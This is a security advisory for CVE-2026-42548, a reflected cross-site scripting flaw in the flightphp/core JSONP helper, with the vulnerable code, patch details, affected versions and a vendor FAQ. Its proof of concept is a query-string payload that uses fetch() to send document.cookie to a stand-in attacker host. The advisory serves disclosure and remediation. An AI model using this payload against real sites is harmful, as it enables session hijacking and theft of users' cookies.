CVE-2026-42548

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context, cookie theft and session hijack follow.

Patch (fixed in 3.18.1, commit b8dd23a)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.

• Reflected XSS in any application calling Flight::jsonp().
• Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
• Exfiltration of authenticated API responses.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Kodem intelligence

1. What is CVE-2026-42548? CVE-2026-42548 is a high-severity cross-site scripting (XSS) vulnerability in flightphp/core (composer), affecting versions < 3.18.1. It is fixed in 3.18.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. Which versions of flightphp/core are affected by CVE-2026-42548? flightphp/core (composer) versions < 3.18.1 is affected.
3. Is there a fix for CVE-2026-42548? Yes. CVE-2026-42548 is fixed in 3.18.1. Upgrade to this version or later.
4. Is CVE-2026-42548 exploitable, and should I be worried? Whether CVE-2026-42548 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-42548 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-42548? Upgrade flightphp/core to 3.18.1 or later.